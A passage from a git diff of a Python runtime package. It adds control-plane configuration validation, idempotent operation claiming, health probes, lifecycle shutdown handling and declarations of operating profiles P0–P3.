**dict.fromkeys(_OPTIONAL_CONTROL_IDENTIFIERS, _valid_optional_control_identifier), + **{key: partial(_valid_enum, allowed=allowed) for key, allowed in _ENUM_DOMAINS.items()}, + "diagnostic_codes": _valid_diagnostic_codes, + "diagnostics_truncated": _valid_boolean, + "count": _valid_count, +} + + +def _require_string(value: object, *, label: str, allow_empty: bool) -> None: + if not isinstance(value, str) or (not allow_empty and not value) or len(value) > _MAX_AUDIT_STRING_LENGTH: + raise ValueError(f"{label} must be a bounded string") + if any(ord(character) < 32 or ord(character) == 127 for character in value): + raise ValueError(f"{label} must not contain control characters") + + +__all__ = ("require_audit_event_fields",) diff --git a/implementations/python/packages/raes_runtime/control_plane_composition.py b/implementations/python/packages/raes_runtime/control_plane_composition.py new file mode 100644 index 000000000..1311419be --- /dev/null +++ b/implementations/python/packages/raes_runtime/control_plane_composition.py @@ -0,0 +1,112 @@ +"""Composition-time validation for runtime control-plane dependencies.""" + +from __future__ import annotations + +from typing import cast + +from raes_contracts.manifest_authority import PARTICIPANT_RUNTIME_POLICY_FEATURES +from raes_contracts.vocabulary import ParticipantFeatureSupportLevel + +from .participant_control_binding import ParticipantControlRuntimeBinding +from .participant_crossing_mediation import ParticipantCrossingPolicyResolver +from .participant_flow_sink import ParticipantFlowSinkResolver +from .registry import RuntimeTarget + +PARTICIPANT_MODULAR_CONTROL_FEATURE = "participant_modular_control" + + +def require_crossing_policy_configuration( + target: RuntimeTarget, + resolver: ParticipantCrossingPolicyResolver | None, +) -> None: + """Require a resolver when the target declares participant policy support.""" + + capabilities = target.manifest.participant_runtime + if capabilities is None: + return + enabled_policy_features = { + declaration.feature + for declaration in capabilities.feature_support + if declaration.feature in PARTICIPANT_RUNTIME_POLICY_FEATURES + and declaration.support_level != ParticipantFeatureSupportLevel.UNSUPPORTED + } + if enabled_policy_features and resolver is None: + features = ", ".join(sorted(enabled_policy_features)) + raise ValueError(f"participant policy capabilities require a crossing policy resolver: {features}") + + +def select_final_sink_flow_control_resolver( + resolver: ParticipantCrossingPolicyResolver | None, + enforce_final_sink_flow_control: bool, +) -> ParticipantFlowSinkResolver | None: + """Select the legacy SEM-233 adapter once, explicitly, at construction. + + PC-15 retains the legacy final-sink path only as an explicitly negotiated + selection. ``enforce_final_sink_flow_control`` is that selection: the + adapter is bound once here, so no sink discovers it by method presence. + """ + + if not enforce_final_sink_flow_control or resolver is None: + return None + if not callable(getattr(resolver, "resolve_flow_sink_decision", None)): + raise ValueError( + "participant final-sink flow-control enforcement requires the crossing policy " + "resolver to implement resolve_flow_sink_decision; pass " + "enforce_final_sink_flow_control=False to run the legacy API-423-only path" + ) + return cast(ParticipantFlowSinkResolver, resolver) + + +def require_participant_control_configuration( + target: RuntimeTarget, + resolver: ParticipantCrossingPolicyResolver | None, + participant_control: ParticipantControlRuntimeBinding | None, +) -> None: + """Admit a modular participant-control binding only where it can be enforced. + + RUN-320 composes inside the incumbent RUN-319 crossing boundary, so the + binding needs that boundary's resolver and a target that declares the + API-407 ``participant_modular_control`` feature. A declaration is not an + installed provider; it is the backend's own statement that this runtime may + orchestrate one. + """ + + if participant_control is None: + return + if not isinstance(participant_control, ParticipantControlRuntimeBinding): + raise TypeError("participant control must be an exact ParticipantControlRuntimeBinding") + if resolver is None: + raise ValueError("participant control orchestration requires a crossing policy resolver") + capabilities = target.manifest.participant_runtime + declared = () if capabilities is None else capabilities.feature_support + if not any( + declaration.feature == PARTICIPANT_MODULAR_CONTROL_FEATURE + and declaration.support_level != ParticipantFeatureSupportLevel.UNSUPPORTED + for declaration in declared + ): + raise ValueError( + "participant control orchestration requires the backend to declare participant_modular_control support" + ) + + +def compose_participant_boundary(target: object, config: object) -> object | None: + """Validate the participant boundary configuration and select its sink adapter. + + One construction-time step: the crossing policy resolver the target needs, + the explicitly selected SEM-233 final-sink adapter, and a modular control + binding only where it can be enforced. + """ + + resolver = config.crossing_policy_resolver + require_crossing_policy_configuration(target, resolver) + flow_sink_resolver = select_final_sink_flow_control_resolver(resolver, config.enforce_final_sink_flow_control) + require_participant_control_configuration(target, resolver, config.participant_control) + return flow_sink_resolver + + +__all__ = ( + "compose_participant_boundary", + "require_crossing_policy_configuration", + "select_final_sink_flow_control_resolver", + "require_participant_control_configuration", +) diff --git a/implementations/python/packages/raes_runtime/control_plane_configuration.py b/implementations/python/packages/raes_runtime/control_plane_configuration.py new file mode 100644 index 000000000..c01378c08 --- /dev/null +++ b/implementations/python/packages/raes_runtime/control_plane_configuration.py @@ -0,0 +1,67 @@ +"""Typed keyword configuration for the runtime control plane.""" + +from collections.abc import Mapping +from dataclasses import dataclass +from typing import TypedDict + +from raes_contracts.contracts import ParticipantInformationStateContextResolver +from raes_contracts.materialization import MaterializationArchive +from raes_contracts.planning import PlanScope +from raes_contracts.runtime_state import RuntimeSnapshot +from raes_processor.models import ParticipantBehaviorSpecificationRuntime, RuntimeModel + +from .control_plane_profiles import ControlPlaneProfile +from .control_plane_store import ControlPlaneStore +from .mixed_runtime import MixedRuntimeBinding +from .participant_control_binding import ParticipantControlRuntimeBinding +from .participant_crossing_mediation import ParticipantCrossingPolicyResolver + + +class ControlPlaneOptions(TypedDict, total=False): + """Preserve the public constructor's optional, keyword-only configuration.""" + + initial_snapshot: RuntimeSnapshot | None + participant_outcome_model: RuntimeModel | None + store: ControlPlaneStore | None + behavior_specifications: Mapping[str, ParticipantBehaviorSpecificationRuntime] | None + crossing_policy_resolver: ParticipantCrossingPolicyResolver | None + information_state_context_resolver: ParticipantInformationStateContextResolver | None + participant_control: ParticipantControlRuntimeBinding | None + enforce_final_sink_flow_control: bool + materialization_archive: MaterializationArchive | None + run_scope: str + mixed_runtime: MixedRuntimeBinding | None + profile: ControlPlaneProfile | None + + +@dataclass(frozen=True, kw_only=True) +class ControlPlaneConfiguration: + """Resolve defaults and reject unknown options before runtime initialization.""" + + initial_snapshot: RuntimeSnapshot | None = None + participant_outcome_model: RuntimeModel | None = None + store: ControlPlaneStore | None = None + behavior_specifications: Mapping[str, ParticipantBehaviorSpecificationRuntime] | None = None + crossing_policy_resolver: ParticipantCrossingPolicyResolver | None = None + information_state_context_resolver: ParticipantInformationStateContextResolver | None = None + participant_control: ParticipantControlRuntimeBinding | None = None + enforce_final_sink_flow_control: bool = True + materialization_archive: MaterializationArchive | None = None + run_scope: str = "run:default" + mixed_runtime: MixedRuntimeBinding | None = None + profile: ControlPlaneProfile | None = None + + def __post_init__(self) -> None: + if self.participant_outcome_model is not None and not isinstance(self.participant_outcome_model, RuntimeModel): + raise TypeError("participant_outcome_model must be a compiled RuntimeModel") + if self.profile is not None and not isinstance(self.profile, ControlPlaneProfile): + raise TypeError("control-plane profile must be a ControlPlaneProfile value") + if not self.run_scope.startswith("run:"): + raise ValueError("control-plane run_scope must use the normalized run: form") + PlanScope(run_id=self.run_scope.removeprefix("run:")) + if self.mixed_runtime is not None: + admitted_run_scope = f"run:{self.mixed_runtime.entry.run_id}" + if self.run_scope != admitted_run_scope: + raise ValueError("mixed runtime run_scope must match the admitted trial entry") + if self.crossing_policy_resolver is None: + raise ValueError("mixed runtime requires a crossing policy resolver") diff --git a/implementations/python/packages/raes_runtime/control_plane_execution.py b/implementations/python/packages/raes_runtime/control_plane_execution.py index c7c00ad38..8c49cdf48 100644 --- a/implementations/python/packages/raes_runtime/control_plane_execution.py +++ b/implementations/python/packages/raes_runtime/control_plane_execution.py @@ -24,8 +24,13 @@ from .backend_calls import _BackendCallContext, _call_backend_apply, _call_backend_diagnostics, _RealizationApplyContext from .backend_observation_calls import _call_backend_apply_with_observation, _ObservationApplyRequest from .control_plane_mutation import control_plane_mutation -from .control_plane_operation_context import operation_admission_context -from .control_plane_store import ControlPlaneOperationRecord, TerminalCommitMode +from .control_plane_operation_context import legacy_operation_request_commitment, operation_admission_context +from .control_plane_store import ( + ControlPlaneOperationRecord, + NewClaimRejected, + TerminalCommitMode, + require_idempotency_key, +) from .diagnostics import _has_error_diagnostic from .observation_results import PreparedObservationExecution from .participant_effect_authority import participant_effect_authority @@ -97,13 +102,6 @@ def _execute_participant_action_locked( request=request, identity=identity, ) - existing = control_plane._idempotent_receipt( - idempotency_key=idempotency_key, - request_fingerprint=context.request_commitment, - context=context, - ) - if existing is not None: - return existing operation_id = str(uuid4()) submitted_at = _utc_now() target_address = getattr(request, "participant_address", "") @@ -129,7 +127,11 @@ def _execute_participant_action_locked( status=status, idempotency_key=idempotency_key, request_fingerprint=context.request_commitment, - ) + ), + legacy_request_fingerprint=legacy_operation_request_commitment( + kind=OperationKind.PARTICIPANT_ACTION, + request=request, + ), ) if claimed.receipt.operation_id != operation_id: return claimed.receipt @@ -204,13 +206,17 @@ def persist_succeeded_operation( context=request.context, changed_addresses=list(request.changed_addresses or []), ) + claim_options = ( + {"legacy_request_fingerprint": request.legacy_request_fingerprint} if request.legacy_request_fingerprint else {} + ) claimed = control_plane._claim_record( ControlPlaneOperationRecord( receipt=receipt, status=running_status, idempotency_key=request.idempotency_key, request_fingerprint=request.context.request_commitment, - ) + ), + **claim_options, ) if claimed.receipt.operation_id != request.operation_id: return claimed.receipt @@ -235,6 +241,7 @@ class SucceededOperationRequest: idempotency_key: str context: OperationAdmissionContext changed_addresses: list[str] | None = None + legacy_request_fingerprint: str = "" @dataclass(frozen=True) @@ -248,6 +255,7 @@ class OperationExecutionRequest: idempotency_key: str request_fingerprint: str context: OperationAdmissionContext + legacy_request_fingerprint: str = "" exact_retry_fingerprint: str | None = None validation_method: Callable[..., object] | None = None admission_diagnostics: Callable[[], list[Diagnostic]] | None = None @@ -264,37 +272,12 @@ class _OperationOutcome: validation_failed: bool -def _operation_admission_receipt( - control_plane: object, - request: OperationExecutionRequest, - exact_retry: dict[str, str], -) -> OperationReceipt | None: - existing = control_plane._idempotent_receipt( - idempotency_key=request.idempotency_key, - request_fingerprint=request.request_fingerprint, - context=request.context, - **exact_retry, - ) - if existing is not None: - return existing - if request.base_snapshot is not None and request.base_snapshot != control_plane._snapshot: - raise ValueError("explicit base snapshot does not match the authoritative runtime snapshot") - diagnostics = None if request.admission_diagnostics is None else request.admission_diagnostics() - if diagnostics: - return control_plane._reject_diagnostics( - domain=request.domain, - diagnostics=diagnostics, - idempotency_key=request.idempotency_key, - request_fingerprint=request.request_fingerprint, - context=request.context, - ) - return None - - def _claim_running_operation( control_plane: object, request: OperationExecutionRequest, exact_retry: dict[str, str], + *, + current_state_rejects_new_claim: bool, ) -> tuple[str, str, RuntimeSnapshot, OperationReceipt, OperationReceipt]: operation_id = str(uuid4()) submitted_at = _utc_now() @@ -316,6 +299,13 @@ def _claim_running_operation( context=request.context, diagnostics=list(request.diagnostics), ) + claim_options: dict[str, str] = dict(exact_retry) + if request.legacy_request_fingerprint: + claim_options["legacy_request_fingerprint"] = request.legacy_request_fingerprint + if request.base_snapshot is not None and request.base_snapshot != control_plane._snapshot: + claim_options["new_claim_blocked"] = "stale-base-snapshot" + elif current_state_rejects_new_claim: + claim_options["new_claim_blocked"] = "current-state" claimed = control_plane._claim_record( ControlPlaneOperationRecord( receipt=receipt, @@ -323,7 +313,7 @@ def _claim_running_operation( idempotency_key=request.idempotency_key, request_fingerprint=request.request_fingerprint, ), - **exact_retry, + **claim_options, ) return operation_id, submitted_at, snapshot, receipt, claimed.receipt @@ -353,6 +343,7 @@ def _apply_operation( request.plan, snapshot, request=_ObservationApplyRequest( + materialization_archive=control_plane._materialization_archive, address=request.address, snapshot=snapshot, plan=request.plan, @@ -422,6 +413,41 @@ def execute_operation( return _execute_operation_locked(control_plane, request) +def reject_new_operation_if_admission_fails( + control_plane: object, + request: OperationExecutionRequest, +) -> OperationReceipt | None: + """Atomically resolve a retry while keeping a new denial non-blocking.""" + + diagnostics = None if request.admission_diagnostics is None else request.admission_diagnostics() + if not diagnostics: + return None + require_idempotency_key(request.idempotency_key) + exact_retry = ( + {"exact_retry_fingerprint": request.exact_retry_fingerprint} + if request.exact_retry_fingerprint is not None + else {} + ) + try: + operation_id, _, _, _, claimed_receipt = _claim_running_operation( + control_plane, + request, + exact_retry, + current_state_rejects_new_claim=True, + ) + except NewClaimRejected: + return control_plane._reject_diagnostics( + domain=request.domain, + diagnostics=diagnostics, + idempotency_key=request.idempotency_key, + request_fingerprint=request.request_fingerprint, + context=request.context, + ) + if claimed_receipt.operation_id == operation_id: + raise AssertionError("a state-rejected operation cannot create a new claim") + return claimed_receipt + + def _execute_operation_locked( control_plane: object, request: OperationExecutionRequest, @@ -431,14 +457,24 @@ def _execute_operation_locked( if request.exact_retry_fingerprint is not None else {} ) - admission_receipt = _operation_admission_receipt(control_plane, request, exact_retry) - if admission_receipt is not None: - return admission_receipt - operation_id, submitted_at, snapshot, receipt, claimed_receipt = _claim_running_operation( - control_plane, - request, - exact_retry, - ) + require_idempotency_key(request.idempotency_key) + admission_diagnostics = None if request.admission_diagnostics is None else request.admission_diagnostics() + try: + operation_id, submitted_at, snapshot, receipt, claimed_receipt = _claim_running_operation( + control_plane, + request, + exact_retry, + current_state_rejects_new_claim=bool(admission_diagnostics), + ) + except NewClaimRejected: + assert admission_diagnostics + return control_plane._reject_diagnostics( + domain=request.domain, + diagnostics=admission_diagnostics, + idempotency_key=request.idempotency_key, + request_fingerprint=request.request_fingerprint, + context=request.context, + ) if claimed_receipt.operation_id != operation_id: return claimed_receipt result, observation_execution, diagnostics, validation_failed = _apply_operation( diff --git a/implementations/python/packages/raes_runtime/control_plane_health.py b/implementations/python/packages/raes_runtime/control_plane_health.py new file mode 100644 index 000000000..8ab83f98c --- /dev/null +++ b/implementations/python/packages/raes_runtime/control_plane_health.py @@ -0,0 +1,80 @@ +"""Value-free liveness and readiness projection for the control plane.""" + +from __future__ import annotations + +from dataclasses import dataclass +from enum import Enum + +from .control_plane_recovery import unresolved_indeterminate_operation_ids_from_records +from .control_plane_store import RuntimeAdmittedControlPlaneStore + + +class ControlPlaneHealthStatus(str, Enum): + """Closed status vocabulary for public health probes.""" + + LIVE = "live" + READY = "ready" + UNREADY = "unready" + + +@dataclass(frozen=True) +class ControlPlaneHealth: + """Bounded health result containing no runtime or operator values.""" + + status: ControlPlaneHealthStatus + reasons: tuple[str, ...] = () + + def to_payload(self) -> dict[str, object]: + return {"status": self.status.value, "reasons": list(self.reasons)} + + +def control_plane_liveness() -> ControlPlaneHealth: + """Report only that the health handler can respond.""" + + return ControlPlaneHealth(ControlPlaneHealthStatus.LIVE) + + +def control_plane_readiness(control_plane: object) -> ControlPlaneHealth: + """Project readiness from existing lifecycle and recovery state.""" + + reasons: list[str] = [] + condition = control_plane._lifecycle_condition + with condition: + if not control_plane._runtime_ready: + reasons.append("startup-incomplete") + if control_plane._durability_poisoned: + reasons.append("durability-poisoned") + if control_plane._closing: + reasons.append("draining") + if control_plane._closed: + reasons.append("closed") + store = control_plane._store + lease = control_plane._runtime_lease + if isinstance(store, RuntimeAdmittedControlPlaneStore): + try: + if lease is None: + raise RuntimeError + lease.assert_owner() + except Exception: + reasons.append("lease-unavailable") + + with control_plane._operation_lock: + records = dict(control_plane._operations) + if unresolved_indeterminate_operation_ids_from_records( + records, + target_scope=control_plane._target_scope, + run_scope=control_plane._run_scope, + ): + reasons.append("recovery-required") + + deduplicated = tuple(dict.fromkeys(reasons)) + status = ControlPlaneHealthStatus.READY if not deduplicated else ControlPlaneHealthStatus.UNREADY + return ControlPlaneHealth(status=status, reasons=deduplicated) + + +__all__ = ( + "ControlPlaneHealth", + "ControlPlaneHealthStatus", + "control_plane_liveness", + "control_plane_readiness", +) diff --git a/implementations/python/packages/raes_runtime/control_plane_lifecycle.py b/implementations/python/packages/raes_runtime/control_plane_lifecycle.py index 98b0f5b29..8ee0aaa00 100644 --- a/implementations/python/packages/raes_runtime/control_plane_lifecycle.py +++ b/implementations/python/packages/raes_runtime/control_plane_lifecycle.py @@ -58,6 +58,7 @@ class RuntimeLifecycleMixin: _closed: bool _durability_poisoned: bool _runtime_lease: object | None + _runtime_ready: bool def _initialize_runtime_lifecycle(self) -> None: self._lifecycle_condition = Condition(RLock()) @@ -67,6 +68,7 @@ def _initialize_runtime_lifecycle(self) -> None: self._closed = False self._durability_poisoned = False self._runtime_lease = None + self._runtime_ready = False @runtime_owned def __enter__(self) -> Self: @@ -92,10 +94,12 @@ def close(self) -> None: return if getattr(self._lifecycle_local, "depth", 0): raise RuntimeError("cannot close a runtime control plane from one of its active calls") - if self._closing: - condition.wait_for(lambda: self._closed) + while self._closing and not self._closed: + condition.wait() + if self._closed: return self._closing = True + self._runtime_ready = False try: condition.wait_for(lambda: self._active_runtime_calls == 0) except BaseException: @@ -103,11 +107,22 @@ def close(self) -> None: condition.notify_all() raise try: + self._close_runtime_provider() self._close_runtime_lease() - finally: self._closed = True self._closing = False condition.notify_all() + except BaseException: + self._durability_poisoned = True + self._closing = False + condition.notify_all() + raise + + def _close_runtime_provider(self) -> None: + store = getattr(self, "_store", None) + close = getattr(store, "close", None) + if callable(close): + close() def _close_runtime_lease(self) -> None: lease = getattr(self, "_runtime_lease", None) diff --git a/implementations/python/packages/raes_runtime/control_plane_operation_context.py b/implementations/python/packages/raes_runtime/control_plane_operation_context.py index d3da78d63..2b5425478 100644 --- a/implementations/python/packages/raes_runtime/control_plane_operation_context.py +++ b/implementations/python/packages/raes_runtime/control_plane_operation_context.py @@ -21,6 +21,19 @@ from raes_contracts.planning import EvaluationPlan, OrchestrationPlan, ProvisioningPlan from raes_contracts.runtime_state import RuntimeSnapshot +_MAX_CONTEXT_LENGTH = 256 + + +def runtime_target_scope(target_name: object) -> str: + """Return the validated target authority used by runtime admission.""" + + if not isinstance(target_name, str) or not target_name: + raise ValueError("runtime target name must be a non-empty string") + target_scope = f"target:{target_name}" + if len(target_scope) > _MAX_CONTEXT_LENGTH: + raise ValueError("runtime target name exceeds the operation-context scope bound") + return target_scope + def operation_admission_context( control_plane: object, @@ -34,14 +47,16 @@ def operation_admission_context( ) -> OperationAdmissionContext: """Bind one validated request to immutable value-free operation authority.""" - actor_id, authorization_scope = _actor_scope(identity) - target = getattr(getattr(control_plane, "_target", None), "name", None) - if not isinstance(target, str) or not target: - raise ValueError("operation admission requires a non-empty target scope") - resolved_run_scope = run_scope or _request_run_scope(request) or "run:default" + actor_id, authorization_scope = operation_actor_scope(identity) + target_scope = runtime_target_scope(getattr(getattr(control_plane, "_target", None), "name", None)) + admitted_run_scope = getattr(control_plane, "_run_scope", "run:default") + requested_run_scope = run_scope or _request_run_scope(request) + if requested_run_scope is not None and requested_run_scope != admitted_run_scope: + raise ValueError("operation run scope does not match the admitted control-plane store scope") + resolved_run_scope = admitted_run_scope commitment = canonical_json_digest( { - "operation_kind": kind.value, + "domain": _commitment_domain(kind, "request-commitment"), "request": _value_free_request_payload(request), "base_snapshot": _value_free_snapshot_payload(base_snapshot), } @@ -49,7 +64,7 @@ def operation_admission_context( return OperationAdmissionContext( actor_id=actor_id, authorization_scope=authorization_scope, - target_scope=f"target:{target}", + target_scope=target_scope, run_scope=resolved_run_scope, operation_kind=kind, request_commitment=commitment, @@ -67,13 +82,34 @@ def operation_idempotency_fingerprint( return canonical_json_digest( { - "operation_kind": kind.value, + "domain": _commitment_domain(kind, "exact-retry-proof"), "request": _exact_request_payload(request), "base_snapshot": _exact_snapshot_payload(base_snapshot), } ) +def legacy_operation_request_commitment( + *, + kind: OperationKind, + request: object, + base_snapshot: RuntimeSnapshot | None = None, +) -> str: + """Return the pre-v4 value-free commitment for migrated replay only.""" + + return canonical_json_digest( + { + "operation_kind": kind.value, + "request": _value_free_request_payload(request), + "base_snapshot": _value_free_snapshot_payload(base_snapshot), + } + ) + + +def _commitment_domain(kind: OperationKind, purpose: str) -> str: + return f"raes.runtime.control-plane.{kind.value}.{purpose}/v1" + + def operation_requires_ephemeral_retry_proof( *, request: object, @@ -86,7 +122,9 @@ def operation_requires_ephemeral_retry_proof( ) != _exact_snapshot_payload(base_snapshot) -def _actor_scope(identity: object | None) -> tuple[str, tuple[str, ...]]: +def operation_actor_scope(identity: object | None) -> tuple[str, tuple[str, ...]]: + """Return the immutable actor and authorization scope for a typed identity.""" + if identity is None: return "embedded-process", ("process:trusted-embedder",) actor = getattr(identity, "identity", identity if isinstance(identity, str) else None) @@ -188,6 +226,8 @@ def _json_value(value: object) -> JsonValue: __all__ = ( "operation_admission_context", + "operation_actor_scope", "operation_idempotency_fingerprint", "operation_requires_ephemeral_retry_proof", + "runtime_target_scope", ) diff --git a/implementations/python/packages/raes_runtime/control_plane_plan_authorization.py b/implementations/python/packages/raes_runtime/control_plane_plan_authorization.py index 26735210c..fa0e68dd1 100644 --- a/implementations/python/packages/raes_runtime/control_plane_plan_authorization.py +++ b/implementations/python/packages/raes_runtime/control_plane_plan_authorization.py @@ -8,6 +8,7 @@ from raes_contracts.plan_effects import plan_can_mutate from raes_contracts.plan_projection import runtime_plan_digest from raes_contracts.planning import EvaluationPlan, OrchestrationPlan, ProvisioningPlan +from raes_contracts.runtime_state import RuntimeSnapshot from raes_processor.models import ExecutionPlan from .control_plane_lifecycle import runtime_owned @@ -63,7 +64,9 @@ def _plan_authorization_diagnostics( self, plan: ProvisioningPlan | OrchestrationPlan | EvaluationPlan, ) -> list[Diagnostic]: - if (not plan.operations and not plan_can_mutate(plan)) or self.is_planner_authorized_plan(plan): + if ( + not plan.operations and not plan_can_mutate(plan) and plan.materialization_source is None + ) or self.is_planner_authorized_plan(plan): return [] return [ Diagnostic( @@ -74,6 +77,10 @@ def _plan_authorization_diagnostics( ) ] + def _require_observed_base_snapshot(self, base_snapshot: RuntimeSnapshot | None) -> None: + if base_snapshot is not None and base_snapshot != self._snapshot: + raise ValueError("explicit base snapshot does not match the authoritative runtime snapshot") + def _assert_runtime_owner(self) -> None: """Provided by RuntimeLifecycleMixin on the concrete control plane.""" diff --git a/implementations/python/packages/raes_runtime/control_plane_profiles.py b/implementations/python/packages/raes_runtime/control_plane_profiles.py new file mode 100644 index 000000000..c53a06eba --- /dev/null +++ b/implementations/python/packages/raes_runtime/control_plane_profiles.py @@ -0,0 +1,289 @@ +"""Canonical in-process declarations for runtime control-plane operating profiles.""" + +from __future__ import annotations + +from collections.abc import Mapping +from dataclasses import dataclass +from enum import Enum +from types import MappingProxyType + + +class ControlPlaneProfile(str, Enum): + P0 = "P0" + P1 = "P1" + P2 = "P2" + P3 = "P3" + + +class ControlPlaneActorBoundary(str, Enum): + EMBEDDER = "embedder" + AUTHENTICATED_HTTP = "authenticated-http" + UNAVAILABLE = "unavailable" + + +class RecoveryObservationRequirement(str, Enum): + NOT_APPLICABLE = "not-applicable" + OPTIONAL_INDETERMINATE = "optional-indeterminate" + FUTURE_UNSPECIFIED = "future-unspecified" + + +class ControlPlaneCapability(str, Enum): + STORE_EPHEMERAL = "store.ephemeral" + STORE_DURABLE = "store.durable" + STORE_ATOMIC_CLAIMS = "store.atomic-claims" + STORE_ATOMIC_TERMINAL = "store.atomic-terminal" + STORE_REVISION_CAS = "store.revision-cas" + STORE_AUDIT = "store.audit" + STORE_SCOPE_BOUND = "store.scope-bound" + STORE_OWNER_LEASE = "store.owner-lease" + CORE_ACTOR_CONTEXT = "core.actor-context" + CORE_MUTATION_AUTHORITY = "core.mutation-authority" + CORE_STARTUP_RECONCILIATION = "core.startup-reconciliation" + HTTP_AUTHENTICATED_IDENTITY = "http.authenticated-identity" + HTTP_SINGLE_WORKER = "http.single-worker" + HTTP_BOUNDED_ADMISSION = "http.bounded-admission" + HTTP_REVISION_READS = "http.revision-reads" + + +@dataclass(frozen=True) +class ControlPlaneClaim: + identifier: str + description: str + + +@dataclass(frozen=True) +class ControlPlaneProfileDeclaration: + profile: ControlPlaneProfile + label: str + guarantees: tuple[ControlPlaneClaim, ...] + nonclaims: tuple[ControlPlaneClaim, ...] + one_target_per_store: bool + one_run_per_store: bool + actor_boundary: ControlPlaneActorBoundary + recovery_observation: RecoveryObservationRequirement + required_capabilities: frozenset[ControlPlaneCapability] + available: bool + + +@dataclass(frozen=True) +class ControlPlaneStoreCapabilities: + """A store's immutable, store-owned composition facts, not a profile claim.""" + + capabilities: frozenset[ControlPlaneCapability] + + def __post_init__(self) -> None: + if any( + not isinstance(item, ControlPlaneCapability) or not item.value.startswith("store.") + for item in self.capabilities + ): + raise TypeError("store capabilities must use closed store capability identifiers") + object.__setattr__(self, "capabilities", frozenset(self.capabilities)) + + +_STORE_COMMON = frozenset( + { + ControlPlaneCapability.STORE_ATOMIC_CLAIMS, + ControlPlaneCapability.STORE_ATOMIC_TERMINAL, + ControlPlaneCapability.STORE_REVISION_CAS, + ControlPlaneCapability.STORE_AUDIT, + ControlPlaneCapability.STORE_SCOPE_BOUND, + } +) +CORE_CAPABILITIES = frozenset( + { + ControlPlaneCapability.CORE_ACTOR_CONTEXT, + ControlPlaneCapability.CORE_MUTATION_AUTHORITY, + ControlPlaneCapability.CORE_STARTUP_RECONCILIATION, + } +) +_P0_REQUIRED = ( + _STORE_COMMON + | {ControlPlaneCapability.STORE_EPHEMERAL} + | { + ControlPlaneCapability.CORE_ACTOR_CONTEXT, + ControlPlaneCapability.CORE_MUTATION_AUTHORITY, + } +) +_P1_REQUIRED = ( + _STORE_COMMON + | { + ControlPlaneCapability.STORE_DURABLE, + ControlPlaneCapability.STORE_OWNER_LEASE, + } + | CORE_CAPABILITIES +) +_P2_REQUIRED = _P1_REQUIRED | { + ControlPlaneCapability.HTTP_AUTHENTICATED_IDENTITY, + ControlPlaneCapability.HTTP_SINGLE_WORKER, + ControlPlaneCapability.HTTP_BOUNDED_ADMISSION, + ControlPlaneCapability.HTTP_REVISION_READS, +} + + +def _claims(*items: tuple[str, str]) -> tuple[ControlPlaneClaim, ...]: + return tuple(ControlPlaneClaim(identifier, description) for identifier, description in items) + + +_IN_PROCESS_SAFETY = "One process owns runtime mutation and validation." +_ACTOR_SCOPED_IDEMPOTENCY = "Claims and receipts bind to the actor and scope." +_TARGET_RUN_ISOLATION = "One target and one run occupy a store." +_REVISION_CAS = "Snapshot writes compare the observed revision." +_ATOMIC_AUDIT = "Terminal state and operational audit commit together." +_NO_HIGH_AVAILABILITY = "No availability topology is promised." +_NO_MULTITENANCY = "One store does not multiplex tenants." + + +_DECLARATIONS: Mapping[ControlPlaneProfile, ControlPlaneProfileDeclaration] = MappingProxyType( + { + ControlPlaneProfile.P0: ControlPlaneProfileDeclaration( + profile=ControlPlaneProfile.P0, + label="ephemeral", + guarantees=_claims( + ("in-process-safety", _IN_PROCESS_SAFETY), + ("actor-scoped-idempotency", _ACTOR_SCOPED_IDEMPOTENCY), + ("target-run-isolation", _TARGET_RUN_ISOLATION), + ("revision-cas", _REVISION_CAS), + ("atomic-audit", _ATOMIC_AUDIT), + ), + nonclaims=_claims( + ("durability", "Process loss loses the run."), + ("restart-recovery", "No process-loss recovery is promised."), + ("multi-owner", "No concurrent process ownership is promised."), + ("high-availability", _NO_HIGH_AVAILABILITY), + ("multitenancy", _NO_MULTITENANCY), + ), + one_target_per_store=True, + one_run_per_store=True, + actor_boundary=ControlPlaneActorBoundary.EMBEDDER, + recovery_observation=RecoveryObservationRequirement.NOT_APPLICABLE, + required_capabilities=frozenset(_P0_REQUIRED), + available=True, + ), + ControlPlaneProfile.P1: ControlPlaneProfileDeclaration( + profile=ControlPlaneProfile.P1, + label="local durable", + guarantees=_claims( + ("in-process-safety", _IN_PROCESS_SAFETY), + ("actor-scoped-idempotency", _ACTOR_SCOPED_IDEMPOTENCY), + ("target-run-isolation", _TARGET_RUN_ISOLATION), + ("revision-cas", _REVISION_CAS), + ("atomic-audit", _ATOMIC_AUDIT), + ("durable-state", "Authoritative state survives process loss."), + ("retained-idempotency", "Durable claims prevent automatic effect replay."), + ("lease-admission", "One process-bound owner is admitted."), + ("startup-reconciliation", "Interrupted work is classified without replay."), + ), + nonclaims=_claims( + ("multi-owner", "No concurrent process ownership is promised."), + ("high-availability", _NO_HIGH_AVAILABILITY), + ("exactly-once-effects", "External backend effects are not exactly once."), + ("multitenancy", _NO_MULTITENANCY), + ), + one_target_per_store=True, + one_run_per_store=True, + actor_boundary=ControlPlaneActorBoundary.EMBEDDER, + recovery_observation=RecoveryObservationRequirement.OPTIONAL_INDETERMINATE, + required_capabilities=frozenset(_P1_REQUIRED), + available=True, + ), + ControlPlaneProfile.P2: ControlPlaneProfileDeclaration( + profile=ControlPlaneProfile.P2, + label="served", + guarantees=_claims( + ("in-process-safety", _IN_PROCESS_SAFETY), + ("actor-scoped-idempotency", _ACTOR_SCOPED_IDEMPOTENCY), + ("target-run-isolation", _TARGET_RUN_ISOLATION), + ("revision-cas", _REVISION_CAS), + ("atomic-audit", _ATOMIC_AUDIT), + ("durable-state", "Authoritative state survives process loss."), + ("retained-idempotency", "Durable claims prevent automatic effect replay."), + ("lease-admission", "One process-bound owner is admitted."), + ("startup-reconciliation", "Interrupted work is classified without replay."), + ("authenticated-transport", "The adapter authenticates its callers."), + ("actor-bound-disclosure", "Reads bind to the authenticated actor."), + ("owner-serialized-mutation", "One service owner serializes mutations."), + ("revision-carrying-reads", "Reads identify the observed snapshot revision."), + ), + nonclaims=_claims( + ("multi-worker", "The adapter does not coordinate multiple workers."), + ("tls-proxy-deployment", "TLS and proxy topology belong to deployment."), + ("high-availability", _NO_HIGH_AVAILABILITY), + ("exactly-once-effects", "External backend effects are not exactly once."), + ("multitenancy", _NO_MULTITENANCY), + ), + one_target_per_store=True, + one_run_per_store=True, + actor_boundary=ControlPlaneActorBoundary.AUTHENTICATED_HTTP, + recovery_observation=RecoveryObservationRequirement.OPTIONAL_INDETERMINATE, + required_capabilities=frozenset(_P2_REQUIRED), + available=True, + ), + ControlPlaneProfile.P3: ControlPlaneProfileDeclaration( + profile=ControlPlaneProfile.P3, + label="coordinated (future)", + 